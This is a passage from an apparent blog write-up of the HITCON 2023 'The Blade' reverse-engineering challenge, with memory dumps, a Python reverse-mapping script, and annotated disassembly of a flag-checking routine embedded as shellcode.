0x5555555d63f0: 0x4254684e      0x7a436f2f      0x50645659      0x366e4772
0x5555555d6400: 0x5133444b      0x656b6c39      0x46747134      0x30624878
0x5555555d6410: 0x634f5575      0x496a3253      0x4c664a45      0x77696137

0x5555555d63e0: 0x04050607      0x00010203      0x0c0d0e0f      0x08090a0b
0x5555555d63f0: 0x14151617      0x10111213      0x1c1d1e1f      0x18191a1b
0x5555555d6400: 0x24252627      0x20212223      0x2d2e3a3b      0x28292a2c
0x5555555d6410: 0x405b5c5d      0x3c3d3e3f      0x7c7d7e7f      0x5e5f607b

-- snip -- to save space --
&quot;&quot;&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Values after mapping.&lt;/span&gt;
mpd &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;
0x5555555d63e0: 0x2e616c58      0xe2cb3269      0xa002e0b3      0xc16b1c86
0x5555555d63f0: 0xd2799cec      0x74d9c29e      0x9f043b0c      0xed14031e
0x5555555d6400: 0xca978fa2      0x39a4d8da      0xaf7e645b      0x0f71930b
0x5555555d6410: 0x0a81fd99      0x3aef66b7      0xe1ff00ee      0x09ab75ad

0x5555555d63e0: 0x51158ddb      0xfb7b4ebb      0xaab260eb      0xb0aca58e
0x5555555d63f0: 0x2bc6a635      0x635cde42      0xbd24b1e3      0x3043d65f
0x5555555d6400: 0x7c6d8b17      0x8ca7d52a      0x59a92706      0x9d83fe10
0x5555555d6410: 0x41a880c0      0x25dc5ee7      0xc42d4ff9      0x164d2f6a

-- snip --
&quot;&quot;&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;mkbytes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bs&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; l &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;strip&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;split&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&#92;n&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; l&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;strip&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; bs &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; l&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;split&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;: &#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;split&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

dbytes &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; mkbytes&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;dst&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
mbytes &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; mkbytes&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;mpd&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

mp &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;256&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# Value map.&lt;/span&gt;
rmp &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;256&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Reverse value map.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; a&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; b &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;dbytes&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; mbytes&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    mp&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;a&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; b
    rmp&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;b&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; a

&lt;span class=&quot;token comment&quot;&gt;# Assert bijection.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;mp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;rmp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;256&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;And just like that, we obtained a reverse mapping, thanks to it being a bijection!&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;What is a bijection?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A &lt;strong&gt;bijection&lt;/strong&gt; is a function where...&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;each input maps to a &lt;em&gt;unique&lt;/em&gt; output. (injective)&lt;/li&gt;
&lt;li&gt;each possible output is mapped from a corresponding input. Specifically, every value in the function&#39;s range has a mapping. (surjective)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This characteristic is crucial as it &lt;em&gt;guarantees&lt;/em&gt; an &lt;strong&gt;invertible operation&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Bijection example.&quot; href=&quot;https://trebledj.me/img/bijective-function-1629606712-625w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60 alpha-img&quot; src=&quot;https://trebledj.me/img/bijective-function-1629606712-625w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 625 / 514&quot; alt=&quot;Mathematical mapping explanation of bijection.&quot; title=&quot;Bijection example.&quot; srcset=&quot;https://trebledj.me/img/bijective-function-1629606712-256w.webp 256w, https://trebledj.me/img/bijective-function-1629606712-512w.webp 512w, https://trebledj.me/img/bijective-function-1629606712-625w.webp 625w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 625px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;(&lt;a href=&quot;https://www.cuemath.com/algebra/bijective-function/&quot;&gt;Image Source&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;3-cracking-the-shellcode&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#3-cracking-the-shellcode&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; 3. Cracking the Shellcode&lt;/h3&gt;
&lt;p&gt;Address: &lt;code&gt;11310e&lt;/code&gt; – &lt;code&gt;1133a5&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The final part. Subtle, but delectable.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;What are the 255 bytes copied into the Rust &lt;code&gt;vec&lt;/code&gt;?&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;local_278 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; alloc&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;raw_vec&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;RawVec&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;T&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;A&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;allocate_in&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xff&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;memcpy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;local_278&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;_0_8_&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;DAT_00162b2b&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xff&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;What is the purpose of the data loaded at &lt;code&gt;11310e&lt;/code&gt;?&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;local_238 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x526851a7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
local_234 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x31ff2785&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
local_230 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xc7d28788&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
local_22c &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x523f23d3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
local_228 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xaf1f1055&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
local_224 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x5c94f027&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// -- snip --&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The 255 bytes loaded into a &lt;code&gt;vec&lt;/code&gt;? Guess what? That also happens to be a &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;shellcode&lt;/span&gt;!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Follow-up question: if this is &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;shellcode&lt;/span&gt;, what does it do? how is it run?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We can disassemble it with &lt;code&gt;pwntools.disasm&lt;/code&gt; to get the following ASM.&lt;/p&gt;
&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Small caveat: you&#39;ll want to set &lt;code&gt;context.arch = &#39;amd64&#39;&lt;/code&gt; for &lt;code&gt;disasm&lt;/code&gt; to interpret the shellcode correctly. In the disassembly, we see our two points of insertion (&lt;code&gt;0xdeadbeef&lt;/code&gt;) treated as values, so &lt;code&gt;amd64&lt;/code&gt; is probably the right choice.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-asm&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-asm&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; snip &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;
  b2:   0f &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   syscall             &lt;span class=&quot;token comment&quot;&gt;; read from /dev/zero&lt;/span&gt;
  b4:   &lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;                      pop    rax          &lt;span class=&quot;token comment&quot;&gt;; rax = 0&lt;/span&gt;
  b5:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; f7 d0                not    rax          &lt;span class=&quot;token comment&quot;&gt;; exercise for the reader&lt;/span&gt;
  b8:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; c1 e8 1d             shr    rax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x1d&lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;;&lt;/span&gt;
  bc:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;99&lt;/span&gt;                   cqo                 &lt;span class=&quot;token comment&quot;&gt;;&lt;/span&gt;
  be:   6a &lt;span class=&quot;token number&quot;&gt;29&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x29&lt;/span&gt;         &lt;span class=&quot;token comment&quot;&gt;;&lt;/span&gt;
  c0:   &lt;span class=&quot;token number&quot;&gt;59&lt;/span&gt;                      pop    rcx          &lt;span class=&quot;token comment&quot;&gt;;&lt;/span&gt;
  c1:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; f7 f1                div    rcx          &lt;span class=&quot;token comment&quot;&gt;;&lt;/span&gt;
  c4:   &lt;span class=&quot;token number&quot;&gt;49&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;96&lt;/span&gt;                   xchg   r14&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rax     &lt;span class=&quot;token comment&quot;&gt;; swap r14 and rax&lt;/span&gt;
  c6:   6a &lt;span class=&quot;token number&quot;&gt;03&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x3&lt;/span&gt;
  c8:   &lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;                      pop    rax          &lt;span class=&quot;token comment&quot;&gt;; rax = 3&lt;/span&gt;
  c9:   0f &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   syscall             &lt;span class=&quot;token comment&quot;&gt;; close()&lt;/span&gt;
  cb:   b8 ef be ad de          mov    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xdeadbeef&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;; flag input&lt;/span&gt;
  d0:   &lt;span class=&quot;token number&quot;&gt;44&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;01&lt;/span&gt; e0                add    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r12d
  d3:   &lt;span class=&quot;token number&quot;&gt;44&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; e8                xor    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r13d
  d6:   c1 c8 0b                ror    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xb&lt;/span&gt;
  d9:   f7 d0                   not    eax
  db:   &lt;span class=&quot;token number&quot;&gt;44&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; f0                xor    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r14d        &lt;span class=&quot;token comment&quot;&gt;; eax = ~(ror(0xb, (0xDEADBEEF + r12) ^ r13)) ^ r14&lt;/span&gt;
  de:   3d ef be ad de          cmp    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xdeadbeef&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;; static values (expected output)&lt;/span&gt;
  e3:   &lt;span class=&quot;token number&quot;&gt;75&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   jne    &lt;span class=&quot;token number&quot;&gt;0xea&lt;/span&gt;
  e5:   6a &lt;span class=&quot;token number&quot;&gt;01&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x1&lt;/span&gt;
  e7:   &lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;                      pop    rax  &lt;span class=&quot;token comment&quot;&gt;; rax = 1&lt;/span&gt;
  e8:   eb &lt;span class=&quot;token number&quot;&gt;03&lt;/span&gt;                   jmp    &lt;span class=&quot;token number&quot;&gt;0xed&lt;/span&gt;
  ea:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; c0                xor    rax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rax &lt;span class=&quot;token comment&quot;&gt;; rax = 0&lt;/span&gt;

&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; snip &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Assembly&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;I&#39;ve included the juiciest part above (with some annotations). Essentially, we perform several reversible operations (add, xor, ror, not) on 4 bytes of input; and the result is checked against 4 bytes of static data. Finally, it sets &lt;code&gt;rax = 1&lt;/code&gt; if correct, and &lt;code&gt;rax = 0&lt;/code&gt; if false.&lt;/p&gt;
&lt;p&gt;But are we &lt;em&gt;actually&lt;/em&gt; comparing &lt;code&gt;0xdeadbeef&lt;/code&gt;. Nope—we&#39;re comparing something else instead.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What are the two &lt;code&gt;0xdeadbeef&lt;/code&gt; being replaced with?&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;&lt;summary&gt;The Guts: What does the shellcode load?&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;Here is some (simplified) code which overwrites &lt;code&gt;0xdeadbeef&lt;/code&gt; values at instruction &lt;code&gt;113168&lt;/code&gt;. Remember, &lt;code&gt;vec&lt;/code&gt; is the shellcode and &lt;code&gt;__ptr&lt;/code&gt; is our permuted + mapped input.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;vec&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xcc&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; __ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
vec&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xdf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xA7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
vec&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xcd&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; __ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
vec&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xe0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x51&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
vec&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xce&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; __ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
vec&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xe1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x68&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
vec&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xcf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; __ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
